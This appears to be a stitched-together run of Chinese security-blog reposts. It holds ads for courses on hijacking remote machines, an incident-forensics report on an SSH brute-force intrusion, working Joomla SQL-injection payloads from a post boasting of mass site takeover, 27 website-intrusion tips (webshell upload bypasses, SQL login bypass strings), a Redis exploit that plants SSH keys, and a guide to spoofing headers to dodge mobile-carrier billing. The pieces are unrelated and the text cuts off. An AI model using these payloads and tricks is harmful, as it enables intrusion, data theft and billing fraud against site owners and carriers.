、端口通讯和互联网功能支持，网上与论坛上的学习资源众多。在易语言及其编译器的设计与实现、可视化汉语编程的构建、提供多种语言版本等方面具有创新。目前易语言已取得国家级鉴定，鉴定会专家一致认为：易语言在技术上居于国内领先地位，达到了当前同类产品的国际先进水平。

　　语言优点易语言功能强大实用，现已具有数十个各种应用范围支持库、上百个数据类型和界面组件、近万条支持命令，支持现今所有数据库，功能丝毫不比其它同类产品差。模块化开发支持大型软件项目的分工协作，易语言中的模块称为易模块。通过使用易模块，用户可以将常用的代码封装起来重复使用到其它程序，或提供给第三方使用，或用作开发大型软件项目中的某个部分，然后在软件项目的封装阶段将所有这些模块组织编译成为一个完整程序。易语言系统全部自行设计开发。自有编译器。所编译目的程序运行速度快，且没有安全隐患。自带小型数据库，减少开发项目投入成本，且容易学习。跨操作系统平台编程。同时支持Windows和Linux程序开发。中文本地化支持。支持中文格式日期和时间处理、汉字发音处理、全半角字符处理、人民币金额处理、农历日期转换等。易语言自带的即时帮助系统，在易语言使用者有问题时，轻轻一点，立刻可以得到与当前主题相关的详细帮助。易语言的帮助文档众多，内有大量知识库及开发资料。易语言的例程众多，可以在资源网、大赛展区、论坛上搜索到。易语言爱好者交流论坛，上面已有数万名注册用户。易语言使用者可以将自己在使用过程中所遇到的问题提出，专家会以最快的速度答复。通过论坛搜索功能，也可得到需要的答案。通过易语言的图书，教学片，多媒体教学光盘等。易语言自带的即时帮助系统，在易语言使用者有问题时，轻松一点，立刻可以得到与当前主题相关的详细帮助。语法格式自动检查。自动检查并提示所输入语句的语法格式是否正确，且可自动添加各类名称。全程提示与帮助。鼠标停留立即显示相关项目提示。编程时提示语法格式，调试时提示变量当前内容，随时按下F1键可得到与当前主题相关详细帮助等。名称自动管理。用户修改任一名称定义，其它所有包含该名称的程序代码均自动修正。集成化开发环境。集界面设计、代码编写、调试分析、编译打包等于一体。

　　视频教程 *** 的

　　怎么获取地址

　　加微信 i77169,回复，"易语言写程序培训 *** 教程"

　　注意大小写，注意要写全，就会给你回复下载地址。

　　原文地址:

　　视频教程 *** 的

　　怎么获取地址

　　加微信 i77169,回复，"刺客安全网抓鸡VIP教程"

　　注意大小写，注意要写全，就会给你回复地址。

　　这就是指拥有管理权限的远程电脑。也就是受别人控制的远程电脑(傀儡电脑)。"肉鸡"可以是各种系统,如2003,2000,2008,xp,win7,win8,linux,unix等;更可以是一家公司/企业/学校甚至是 *** 军队的服务器.

　　们经常用80,8080,135,445,1433,1521,3306,3389 ,4899,5900之类的端口来抓鸡。

　　肉鸡一般被以不同的系统区分不同的价格批发给需要的人。

　　说到肉鸡，就要讲到远程控制。远程控制软件例如灰鸽子、上兴、凤凰ABC、ghost、白金等等。

　　肉鸡不是吃的那种，是中了木马，或者留了，可以被远程操控的机器，现在许多人把有WEBSHELL 权限的机器也叫肉鸡。

　　谁都不希望自己的电脑被他人控制，但是很多人的电脑是几乎不设防的，很容易被远程者完全控制。你的电脑就因此成为别人砧板上的肉，别人想怎么吃就怎么吃，肉鸡(机)一名由此而来。

　　通常情况下跟电脑 *** 连接的端口都存在有弱口令，这样就给有可趁之机，通过工具扫描利用相应工具破解这样你就成为黑客手中的“肉鸡”他们这样的方式也就称之为“抓鸡”

　　视频教程 *** 的

　　怎么获取下载地址

　　加微信 i77169,回复，"刺客安全网抓鸡VIP教程"

　　注意大小写，注意要写全，就会给你回复下载地址。

　　原文地址:

　　视频教程 *** 的

　　怎么获取地址

　　加微信 i77169,回复，"SK-VIP抓鸡系列课程"

　　注意大小写，注意要写全，就会给你回复地址。

　　这就是指拥有管理权限的远程电脑。也就是受别人控制的远程电脑(傀儡电脑)。"肉鸡"可以是各种系统,如2003,2000,2008,xp,win7,win8,linux,unix等;更可以是一家公司/企业/学校甚至是 *** 军队的服务器.

　　们经常用80,8080,135,445,1433,1521,3306,3389 ,4899,5900之类的端口来抓鸡。

　　肉鸡一般被以不同的系统区分不同的价格批发给需要的人。

　　说到肉鸡，就要讲到远程控制。远程控制软件例如灰鸽子、上兴、凤凰ABC、ghost、白金等等。

　　肉鸡不是吃的那种，是中了木马，或者留了，可以被远程操控的机器，现在许多人把有WEBSHELL 权限的机器也叫肉鸡。

　　谁都不希望自己的电脑被他人控制，但是很多人的电脑是几乎不设防的，很容易被远程者完全控制。你的电脑就因此成为别人砧板上的肉，别人想怎么吃就怎么吃，肉鸡(机)一名由此而来。

　　通常情况下跟电脑 *** 连接的端口都存在有弱口令，这样就给黑客有可趁之机，通过工具扫描利用相应工具破解这样你就成为黑客手中的“肉鸡”他们这样的方式也就称之为“抓鸡”

　　视频教程 *** 的

　　怎么获取地址

　　加微信 i77169,回复，"SK-VIP抓鸡系列课程"

　　注意大小写，注意要写全，就会给你回复下载地址。

　　原文地址:

　　关于目标环境的中间进度检测报告

　　一：情况概述

　　监控软件监控到服务器存在异常的访问请求，故对此服务器进行安全检查。

　　通过提供的材料发现内网机器对某公网网站存在异常的访问请求， *** 环境存在着异常的 *** 的访问情况。

　　二：取证情况

　　2.1 目标 *** 情况

　　下文中的内网内ip以及公网ip为替换后的脱敏ip。

　　

　　2.2针对xxx服务器中间件的检测

　　监测存在异常的服务器开放了80端口和21端口，安装了tomcat中间件。首先进行tomcat中间件的排查，查询得知服务器对外开tomcat文件夹路径为/home/XXX/tomcat/XXX _tomcat ，查询tomcat未使用弱密码：

　　

　　图1：tomcat未使用默认弱口令

　　针对tomcat部署服务进行检查，未发现可疑部署组件：

　　

　　图2：未发现可疑的部署组件

　　

　　图3：未发现可疑的host配置

　　2.3 针对xxx服务器进程及端口的检测

　　针对目标服务器进行了进程以及端口的检测，发现了可疑现象入下图所示：

　　

　　图4:发现可疑占用情况

　　发现可疑现象后查找“l”所在的路径，入下图所示：

　　

　　图5：发现可疑文件路径

　　在/dev/shm路径下发现存在“l”与“conf.n”文件

　　

　　图6：找到可疑文件

　　将“l”与“conf.n”到本地进行分析，“l”程序为inux远控木马Linux.DDOS.Flood.L，经本地分析“l”程序为linux下僵尸木马，同时具有远控的功能

　　

　　图7：证实为Linux.DDOS.Flood.L木马

　　通过继续分析目标服务器中的可以进程与端口占用情况，发现另外可疑文件，如下图所示：

　　

　　图8：发现可疑文件vkgdqddsx

　　将可疑文件进行本地分析，证实此文件为病毒文件：

　　

　　图9：证实为病毒文件

　　2.4 发现者的操作

　　针对目标环境进行彻底排查，发现攻击者使用wget操作从 服务器中“l”病毒文件，并执行了“777”加权的操作。

　　其记录文件如下图所示：

　　

　　图10：发现木马文件操作

　　

　　图11：通过l文件的时间状态定位到疑似攻击者下载时间为2015-01-18 04:54:05

　　

　　图12:定位到可疑时间段连接ip地址

　　

　　图13：不同时间段的可疑连接ip

　　通过进一步的对可疑。

　　通过分析目标服务器日志文件，发现攻击者下载病毒文件后又使用内网扫描软件“.x”调用其“pascan”和“scanssh”模块进行内网ssh扫描，通过分析发现攻击者收集到了目标 *** 环境中的常用密码来进行针对性的扫描测试。

　　如下图所示：

　　

　　图14：发现目标服务器中存在ssh爆破以及网段扫描软件

　　

　　图15：通过在测试环境中测试发现为扫描软件

　　

　　图16：攻击者使用扫描软件进行内网网段的扫描

　　通过继续对扫描软件进行深入挖掘，发现攻击者使用扫描软件得到的其他内网的ip地址（部分）：

　　

　　图：17 攻击者得到的内网部分地址及密码

　　尝试使用此地址中的192.168.21.231和192.168.21.218进行ssh登录，可使用root:huawei成功进行ssh连接（其他地址及口令不再进行测试），并在内网机器中发现使用弱口令“123456”并发现了同样的“l”病毒文件。

　　其记录文件如下图所示：

　　

　　图18：进行ssh连接

　　

　　图19:连接成功后进行“ifconfig”操作

　　

　　图：在 *** 中的其他机器也发现了同样的病毒文件

　　在扫描器中发现了攻击者使用的“passfile”字典文件，从中可以发现攻击者使用的字典具有很强的针对性（初步断定攻击者为在 *** 环境中通过查询密码文件等操作获取的相关密码）：

　　隐私信息--此处不贴图

　　图20：发现针对性极强的密码字典

　　通过继续对日志文件进行排查，发现攻击者使用扫描器进行攻击的历史记录，验证了搜集到的信息：

　　

　　图21：攻击者进行攻击的历史记录

　　通过即系分析，发现攻击者在进入目标服务器后，又进行了防火墙权限修改、“udf”权限提升、远程连接等其他操作。其中“udf病毒文件”未在目标服务器中发现，在后期进行反追踪中在攻击者服务器中获取到“udf”文件，进行本地检测后病毒文件。

　　其记录文件如下图所示：

　　

　　图22: 修改iptables防火墙配置

　　

　　图23：被修改后的防火墙配置

　　

　　图24：攻击者进行提权的操作

　　

　　图25：“udf”文件证实为病毒文件

　　通过对攻击者完整的攻击取证，可证实攻击者通过SSH连接的方式使用guest_cm用户而和root用户进行远程连接，连接之后使用Wget方式下载并种植在目标服务器中“l”和“vkgdqddusx”病毒文件，并使用“udf”进行进一步的权限操作，然后使用“.x”扫描软件配合针对性极强的密码字典进行内网的扫描，并以目标服务器为跳板使用root和xxx账户登录了内网中的其他机器在过程中入侵者将部分相关日志进行了清除操作。

　　三：溯源操作

　　3.1关于攻击者的反向检测

　　在取证过程中发现攻击者服务器使用以下三个ipxxx.xxx.xxx.x、xxx.xxx.xxx.xxx、xxx.xx.xxx.xx（打个马赛克）,通过对这三个IP进行溯源找到 网站使用hfs服务器搭建，文件服务器内存储着各种病毒文件，其中找到了在“l”“udf”等病毒文件，证实前文中的判断。

　　

　　图26：文件服务器中存储着在本次攻击中所使用的病毒文件

　　通过其他手段查询得知使用ip地址曾绑定网站，并查找出疑似攻击者真实姓名xxx、xxx，其团体使用、等邮箱，使用61441xx、3675xx等 *** 。并通过某种手段深挖得知攻击者同事运营着多个博彩、私服类网站。

　　其他信息请看下图：

　　

　　图27：攻击团伙使用支付宝及姓名

　　

　　图28：攻击团伙旗下的其他博彩、私服网站

　　

　　图29：攻击者旗下部分博彩、私服网站

　　打码处理

　　图30：攻击团伙成员 *** 信息

　　四：攻击源确定

　　4.1 确定攻击入口处

　　综合我们对内网多台服务器的日志分析，发现造成本次安全事件的主要原因是：

　　10.0.xx.xx设备的 *** 部署存在安全问题，未对其进行正确的 *** 隔离，导致其ssh管理端口长期暴露在公网上，通过分析ssh登陆日志，该台设备长期遭受ssh口令暴力破解攻击，并发现存在成功暴力破解的日志，攻击者正是通过ssh弱口令获取设备控制权限，并植入木马程序进一步感染内网服务器。

　　具体攻击流程如下图所示：

　　

　　图31：本次攻击流程图

　　

　　图:32：存在长期被爆破的现象

　　

　　图33：被某公网ip爆破成功进入机器

　　经分析，2016年1月12号公网ip为211.137.38.124的机器使用ssh爆破的方式成功登陆进入10.0.xx.xx机器，之后攻击者以10.0.16.24机器为跳板使用相同的账户登录进入192.168.xxx.xxx机器。

　　

　　图34：相同账户进入192.168.150.160机器

　　攻击者进入192.168.150.160机器后，于2016年1月17日使用wget的方式从网站中下载了“Linux DDos”文件，并使用扫描器对内网进行扫描的操作。

　　

　　图：35攻击者下载“Linux DDos”病毒文件

　　攻击者通过相同的手段在2016年1月17日使用sftp传输的方式进行了的扩散行为，详细情况见下图：

　　

　　图36:使用SFTP传输的方式进行的扩散

　　五：安全性建议

　　1、对使用密码字典中的服务器进行密码的更改。

　　2、对 *** 环境进行彻底的整改，关闭不必要的对外端口。

　　3、 *** 环境已经被进行过内网渗透，还需要及时排查内网机器的安全风险，及时处理。

　　4、SSH登录限制

　　修改sshd配置文件

　　由于服务器较多，防止病毒通过ssh互相传播，可通过修改sshd_config，实现只允许指定的机器连接， *** 如下：

　　登录目标主机，编辑/etc/ssh/sshd_config

　　# vi /etc/ssh/sshd_config

　　在文件的最后追加允许访问22端口的主机IP（IP可用*号通配，但不建议）。

　　原文地址:

　　

　　昨天晚上没事，写个扫描软件，自动拿站，早上起来发现有好几千个有哦。下面具体聊聊吧。

　　Joomla!是一套在国外相当知名的内容管理系统。Joomla!是使用PHP语言加上MySQL库所开发的软件系统，可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matters(见扩展阅读)这个开放源码组织进行开发与支持，这个组织的成员来自全世界各地，小组成员约有150人，包含了开发者、设计者、系统管理者、文件撰写者，以及超过2万名的参与会员。所以用的人非常 多。

　　暴出一个最新，之前也有不少漏洞，给出一个漏洞扫描器，老版本的，

　　~~~~~~~~~~

　　Joomla漏洞扫描器(Madleets Jscan)

　　Joomla 是一款著名的PHP内容管理系统，有许多站长都在使用Joomla，而本次提供的Madleets Jscan 则可以帮助您扫描Joomla的漏洞，从而杜绝的。可以检测Joomla整站程序搭建的网站是否存在文件包含、sql注入、命令执行等漏洞。这将帮助web开发人员和网站管理人员识别可能存在的安全弱点。

　　

　　1、确切的版本探测(可以探测出使用的Joomla整站程序的版本).

　　2、常见的Joomla!基于web应用程序防火墙探测。

　　3、搜索已知的Joomla安全漏洞和它的组件。

　　4、文本和HTML格式的检测报告.

　　5、立即的软件更新能力

　　地址：

　　这个是之前的扫描程序，后面重新改过了。

　　下面说个CMS Joomla 3.2—3.4.4最新的漏洞

　　近日，Trustwave SpiderLabs 研究员Asaf Orpani 发现知名CMS Joomla 3.2—3.4.4版本中存在SQL注入漏洞，经安全狗实验室检测该漏洞危害巨大，影响范围广，利用难度低。目前官方已在3.4.5版本中修复该漏洞，请相关网站及时更新。

　　漏洞详细说明与利用 ***

　　据 Asaf Orpani 分析得出，该SQL注入漏洞存在于

　　/administrator /components /com_contenthistory/ models/history.php 处。

　　

　　以下几行描述Joomla原理的代码则可以帮助我们去利用这个漏洞(Payload)

　　

　　执行该段代码之后返回页面如下，可直接获取用户session：

　　

　　经测试可用如下payload直接获取管理员密码：

　　(select 1 from (select count(*),concat((select (select concat(password)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

　　如图示：

　　

　　以上payload不能爆session_id，经过我们实验室修改后下面这段可以完美爆session_id 。

　　/index.phpoption=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1=updatexml(1,concat(0x5e24,(select session_id from jml_session limit 0,1),0x5e24),1))

　　如下图所示：

　　

　　而在详细的了解了该漏洞的利用原理之后，给简单的办法吧，

　　～～～～～～～～～～～～

　　给个祥细，简单拿站过程

　　google hack,

　　百度 hack

　　搜索，

　　powered by joomla

　　index.phpoption=com_user&view=reset&layout=confirm

　　administrator/

　　接着工具上，

　　～～～～～～～～～～～～～～～～～～

　　文中提及的部分技术、工具可能带有一定性，仅供安全学习和教学用途，禁止非法使用!

　　

　　百度网盘：

　　下面就搞定了呀～～

　　在微信中不可能写的非常祥细，一会微信又给封了这篇文章，所以有问题大家在群里，论坛讨论吧。

　　附总结的一些技巧，

　　【入侵技巧】

　　1.库备份拿shell的时候有时候不成功就备份成解析格式的试试

　　2.上传图片木马遇到拦截系统，连图片木马都上传不了，记事本打开图片木马在代码最前面加上gif89a试试

　　3.当后台有数据库备份但没有上传点时，把一句话木马插到任意处，数据库备份里备份成asp木马，再用一句话客户端连接

　　4.当网站前台有“会员注册” 注册一个账户进去看看有没有上传点，有的话直接上传asp以及利用iis6.0解析漏洞，不行就抓包用明小子上传

　　5.当页面提示只能上传jpg|gif|png等格式的时候，右键查看源文件，本地修改为asp|asa|php再本地上传即可拿下shell

　　6.入侵网站之前连接下3389，可以连接上的话先尝试弱口令，不行就按5次shift键，看看有没有shift，再尝试弱口令

　　7.访问后台地址时弹出提示框“请登陆” 把地址记出来(复制不了)放到“网页源代码分析器”里，选择浏览器-拦截跳转勾选–查看即可直接进入后台

　　8.ewebeditor编辑器后台增加了asp|asa|cer|php|aspx等扩展名上传时都被过滤了，就增加一个aaspsp再上传asp木马就会解析成功了

　　9.当注入工具猜解表段，但猜解字段时提示长度超过50之类，不妨扔到穿山甲去猜解试试，有时候就能成功猜解

　　10.当获得管理员密码却不知道管理员帐号时，到网站前台找新闻链接，一般“提交者”“发布者”的名字就是管理员的帐号了

　　11.菜刀里点击一句话木马地址右键，选择虚拟机终端，执行命令出现乱码时，返回去设置编码那里，将默认的GB2312改为UTF-8

　　12.破解出md5为20位，就把前3位和后1位去掉，剩余16位拿去CMD5解密就可以了

　　13.有时在木马代码里加上gif89a，上传成功访问的时候却出现了像图片一样的错误图像，说明服务器把gif89a当做图片来处理了，不要带gif89a就可以

　　14.网站的主站一般都很安全，这时就要旁注或C段了，但是想知道各个IP段开放了什么端口吗用“啊D *** 工具包”里面的IP端口扫描最明细了

　　15.有的后台不显示验证码，往注册表里添加一个ceg即可突破这个困境了，把下面的代码保存为Code.reg，双击导入就可以了

　　REGEDIT4

　　[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Security]

　　“BlockXBM”=dword:00000000

　　16.旁注入侵的时候，建议挑php的站点来日，因为php站点一般都支持aspx脚本，aspx里权限比较大，对提权希望比较大呢

　　17.在注入点后面加上-1，若返回的页面和前面不同，是另一个正常的页面，则表示存在注入漏洞，而且是数字型的注入漏洞，在注入点后面加上-0，若返回的页面和之前的页面相同，然后加上-1，返回错误页面，则也表示存在注入漏洞，而且也是数字型的注入漏洞

　　18.linux的解析格式：1.php.xxx (xxx可以是任意) 如果apache不认识后缀为rar的文件，就用1.php.rar格式上传，文件就会被服务器当做PHP脚本解析

　　19.辨别linux系统 *** ：例如： 把b换成大写B访问，如果出错了，就说明是linux系统，反之是windows系统

　　20.如何探测服务器上哪些站点支持aspx呢 利用bing搜索： 搜索格式：ip:服务器ip aspx

　　21.PHP万能密码(帐号：’ UNION Select 1,1,1 FROM admin Where ”=’密码：1)

　　22.ASP万能密码(帐号密码均是’or’=’or’或admin’or’1=1)

　　23.当我们通过注入或是社工把管理员的帐号跟md5密码搞到手的时候，却发现破解不出密码 (MD5是16位加密的)，那么我们就可以用COOKIE欺骗来绕过，利用桂林老兵的cookie欺骗工具，把自己的ID以及md5密码都修改成管理员的，再修改cookie，访问时就会实现欺骗了

　　24.倘若目标站开了cdn加速，真实地址会被隐藏起来，我们想搞它就比较困难了。

　　25.一般而言，后台插一句话，如果数据库扩展名是asp的话，那么插数据库，但是如果有配置文件可以插的话，那肯定是插入配置文件了，但是插入配置文件有一个很大的风险，那就是一旦出错那么全盘皆输，有可能不仅仅造成后台无法登陆，甚至有可能是整个网站系统崩溃，所以插入配置文件，请慎之又慎。

　　26.自己的03服务器系统运行burp命令：java -jar bs1407.jar

　　27.记得常扫inc目录，很多时候存在fck编辑器

　　如果你觉得比较好，可以打赏比特币，哈哈

　　比特币赞助打赏地址：13 *** dFRyFBeqmXY9GJQf66s5cwmvLvWaAD

　　----------------------------------

　　要闻、干货、原创、专业

　　关注“黑白之道” 微信：i77169

　　华夏同盟我们坚持，自由，免费，共享!

　　

　　原文地址:

　　1.更新情况

　　

　　2. 概述

　　Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的。者在未授权访问 Redis 的情况下可以利用 Redis 的相关 *** ，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。

　　2.1 描述

　　Redis 安全模型的观念是: “请不要将Redis暴露在公开 *** 中, 因为让不受信任的客户接触到Redis是非常危险的” 。

　　Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

　　因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因，部分Redis 绑定在0.0.0.0:6379，并且没有开启认证(这是Redis的默认配置)，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，将会导致Redis服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

　　利用Redis自身的相关 *** ，可以进行写文件操作，者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

　　2.2 影响

　　Redis 暴露在公网(即绑定在0.0.0.0:6379，目标IP公网可访问)，并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

　　通过ZoomEye 的搜索结果显示，有97707在公网可以直接访问的Redis服务。

　　

　　根据ZoomEye的探测，全球无验证可直接利用Redis 分布情况如下：

　　

　　全球无验证可直接利用Redis TOP 10国家与地区：

　　

　　2.3 漏洞分析与利用

　　首先在本地生产公私钥文件：

　　$ssh-keygen –t rsa

　　

　　然后将公钥写入foo.txt文件

　　$ (echo -e "/n/n"; cat id_rsa.pub; echo -e "/n/n") > foo.txt

　　再连接Redis写入文件

　　$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

　　$ redis-cli -h 192.168.1.11

　　$ 192.168.1.11:6379> config set dir /root/.ssh/

　　OK

　　$ 192.168.1.11:6379> config get dir

　　1) "dir"

　　2) "/root/.ssh"

　　$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

　　OK

　　$ 192.168.1.11:6379> save

　　OK

　　

　　这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里，然后攻击者直接执行：

　　$ ssh –i id_rsa

　　即可远程利用自己的私钥登录该服务器。

　　当然，写入的目录不限于/root/.ssh 下的authorized_keys，也可以写入用户目录，不过Redis很多以root权限运行，所以写入root目录下，可以跳过猜用户的步骤。

　　2.4 Redis 未授权的其他危害与利用

　　2.4.1 库数据泄露

　　Redis 作为数据库，保存着各种各样的数据，如果存在未授权访问的情况，将会导致数据的泄露，其中包含保存的用户信息等。

　　

　　2.4.2 代码执行

　　Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

　　

　　一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

　　通过Lua代码攻击者可以调用 redis.sha1hex() 函数，恶意利用 Redis 服务器进行 SHA-1 的破解。

　　2.4.3 敏感信息泄露

　　通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。

　　

　　可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

　　2.5 漏洞验证

　　可以使用漏洞验证框架Pocsuite()执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。

　　#!/usr/bin/env python

　　# -*- coding:utf-8 -*-

　　import socket

　　import urlparse

　　from pocsuite.poc import POCBase, Output

　　from pocsuite.utils import register

　　class TestPOC(POCBase):

　　vulID = '89339'

　　version = '1'

　　author = ['Anonymous']

　　vulDate = '2015-10-26'

　　createDate = '2015-10-26'

　　updateDate = '2015-10-26'

　　references = ['']

　　name = 'Redis 未授权访问 PoC'

　　appPowerLink = ''

　　appName = 'Redis'

　　appVersion = 'All'

　　vulType = 'Unauthorized access'

　　desc = '''

　　redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。

　　'''

　　samples = ['']

　　def _verify(self):

　　result = {}

　　payload = '/x2a/x31/x0d/x0a/x24/x34/x0d/x0a/x69/x6e/x66/x6f/x0d/x0a'

　　s = socket.socket()

　　socket.setdefaulttimeout(10)

　　try:

　　host = urlparse.urlparse(self.url).netloc

　　port = 6379

　　s.connect((host, port))

　　s.send(payload)

　　recvdata = s.recv(1024)

　　if recvdata and 'redis_version' in recvdata:

　　result['VerifyInfo'] = {}

　　result['VerifyInfo']['URL'] = self.url

　　result['VerifyInfo']['Port'] = port

　　except:

　　pass

　　s.close()

　　return self.parse_attack(result)

　　def _attack(self):

　　return self._verify()

　　def parse_attack(self, result):

　　output = Output(self)

　　if result:

　　output.success(result)

　　else:

　　output.fail('Internet nothing returned')

　　return output

　　register(TestPOC)

　　3. 安全建议

　　1. 配置bind选项，限定可以连接Redis服务器的IP，修改Redis默认端口6379

　　2. 配置认证，也就是AUTH，设置密码，密码会以明文方式保存在Redis配置文件中

　　3. 配置rename-command 配置项 “RENAME_CONFIG”，这样即使存在未授权访问，也能够给攻击者使用config 指令加大难度

　　4. 好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config

　　4. 参考连接

　　1.

　　2.

　　3.

　　4.

　　原文地址:

　　

　　首先感谢 ShoujiTaoke1 的指导，我之前也看过免流，北京地区好像一直不行，我当北京不能免流，哥们说免流成功了，移动的，完了给于我指导，在此感谢。

　　一，免流是什么

　　免流量费用简称，免流，

　　我相信现在不用手机上网的人很少，3G，4G，流量越跑越快，真是怀疑电信，联通他们搞什么鬼了，流量无故就跑没了，每个月4G流量跑2G，也好上百元呢。智慧永远在民间，有人发现可以用3G，4G上网但是不走流量费。牛B吧听到这里你也想试一试了吧

　　免流的原理我在这里也简单说一下。

　　1，为什么会有免流

　　运营商为了给客户提供方便，提供了一些优惠政策，如：接收彩信、登陆掌厅免除流量费以及免收取流量费的其他业务。

　　运营商的计费系统为了区分用户使用的是免流量业务还是正常访问互联网会把这些免流服务的网址加入到白名单，这些白名单中的网址就是我们平常所说的免流IP了，当计费系统检测到用户访问的是白名单中的网址或接收彩信时就不会进行扣费。

　　问题就出在检测上了，各运营商、各地区的检测方式都不尽相同，而且并不完善，这就形成了免流的出现和不同的免流模式以及地区的限制。那么计费系统是如何检测的呢当用户访问互联网时，会向服务器发送一条请求信息(请求头)，这个请求头中包含了 *** 服务器与用户的所有交互信息如：访问的网址、UA、 *** 协议、主机(host)、Cookie、来源地址、文件类型等很多信息。计费系统通过检测请求头来分辨用户访问的是不是白名单中的网址或者是接收彩信。但是计费系统检测的是用户发来的请求信息，这条信息是来自于用户的，也就是说通过自定义该信息可以达到欺骗计费检测以达到免流上网的目的.

　　2、如何欺骗

　　菊花点穴手：

　　一些手机软件大神直接修改软件的请求信息，最早的就是菊花大神了。他编写了一个java的 *** 请求类(http.class)，它负责发送能欺骗计费系统的 *** 请求头。菊花在请求头中把请求的网址(host)换成了免流的网址‘host:免流IP’，并在该信息后面添加了一条另一种表示网址的信息‘x-online-host:实际网址’。这样计费系统会检测到用户访问的是免流网址，但是 *** 服务器返回给用户的却是实际网址的网页，这是因为计费系统和 *** 服务器的不一致导致的。

　　菊花把http.class放到UC浏览器中，然后通过修改代码调用它，从此世界上就诞生了一个伟大的软件——菊花UC，后来人们把http.class提取出来，放到其他软件中并修改代码，这样其他Java软件也能免流了。安卓软件免流与这个类似。到2013年，运营商调整计费系统当出现这种情况时以x-online-host为准，从此世界上之一次出现了‘菊花和谐’这个词。

　　老虎会游泳：

　　老虎是一个PHP程序员，他用PHP开发了一个免流 *** 服务器系统，后来被别人修改并命名为XX免流系统。

　　PHP无法直接在安卓手机上运行，安装almp或anmpp后会把手机配置成一个PHP网站服务器。免流系统运行在网站的根目录(www文件夹)中，通过修改anmpp设置将网站接收的所有请求传给Proxy.php，这样就实现了把网站服务器变成 *** 服务器。这个 *** 服务器的IP就是127.0.0.1。我把它称之为本地 *** 。

　　通过修改APN把10.0.0.172改成127.0.0.1即可使走免流系统。但有些程序并不会去走这个 *** ，所以就出现了我们常说的跳点。

　　当用户通过本地 *** 上网时，用户发送的请求头会发给免流系统，免流系统接收到请求头后调用设置好的模式进行修改，之后再由免流系统把修改后的请求头发送给 *** 服务器达到免流上网的目的，俗称全局免流。

　　其他：

　　可以直接修改安卓系统，让安卓系统去修改 *** 请求信息。为什么老虎不这么做呢因为他只会PHP。目前还没有民间的开发者能做得到。可能是未来免流的发展方向。

　　3、各免流模式的欺骗原理

　　菊花模式：

　　已和谐，这个的原理在上面讲过了，我这里想说的是在老虎开发的免流系统中，菊花模式的php文件后来被一些人修改成了好多种模式并以他网名来命名这种模式。

　　川免模式：

　　已和谐，在四川移动掌厅有一个免流的链接前缀，系统将请求头中的网址前面加上这个免流前缀实现免流量的目的，这种模式是前缀模式的一种，后来被修改成了华纳模式、错导模式等。

　　前缀免流比菊花免流出现的早，最初是用来免流。之后小毅(也是PHP程序员)的玖玩浏览器(压流网站)开创了通过前缀免流上网的时代。玖玩网是比较早的讨论免流的论坛了，现在听一个站长说已经被他网站合并了。现在玖玩浏览器扔然有人在用。

　　后缀模式：

　　已和谐，这个应该是联通的模式，某些地区的联通计费系统只要在请求的网址中检测到了wap.10010.com就认定为免流，所以免流系统在请求的网址后面加了个wap.10010.com或&wap.10010.com达到免流目的。

　　伪彩模式：

　　上文中讲过的，接收彩信是不花流量的，计费系统是通过判断请求头中的文件类型信息来判断彩信的，免流系统把文件类型信息改成application/vnd.wap.mms-message，这就把所有流量都伪装成了彩信，所以会免流。

　　双H模式：

　　我现在用的模式，这种模式和菊花类似，只是把菊花模式的x-online-host换成了host，即两个host。

　　其他：

　　我没有看过其他模式的源码，所以这里就不再多讲了，都是和菊花类似。

　　4、防跳原理

　　禁网：

　　安全软件利用安卓系统内置的防火墙模块实现禁止应用连接互联网，因为跳点是不经过本地 *** 的，所以会连不上网。不跳点的软件是通过本地 *** 进行联网的，免流系统是运行于root之上，所以不会被禁网，这样免流的软件在禁网之后仍可以连接 *** 。

　　防跳脚本：

　　防跳脚本也是利用防火墙模块，所以会与禁网有冲突，不过防跳脚本不是单纯的禁网，它实现了智能化的防跳，脚本包含了设置防火墙的命令，它可以强制让不走本地 *** 的软件走 *** 即127.0.0.1，并且仍可以起到禁网的效果，对于那些免流系统不支持的协议如 *** ，则可以进行排除以让其能够联网，实现半免。

　　5、WiFi托电脑免流

　　当全局免流的手机共享出WiFi热点，电脑连接后会与手机组成无线局域网，这时手机和电脑都会被分配一个局域网的IP，以192.168开头，手机的IP是192.168.43.1,因为手机被配置成了免流 *** 服务器，所以在电脑上设置 *** 为192.168.43.1就能走免流了，但必须开启手机防跳脚本或禁止电脑某些不走 *** 的软件联网，否则电脑也会跳点，手机禁网是没用的。

　　二，我的环境

　　手机，MX5，安卓5.

　　0

　　

　　有人问苹果能不能免流，听说是不行，反正不知道谁用苹果成功过。这就是开源系统的优势。

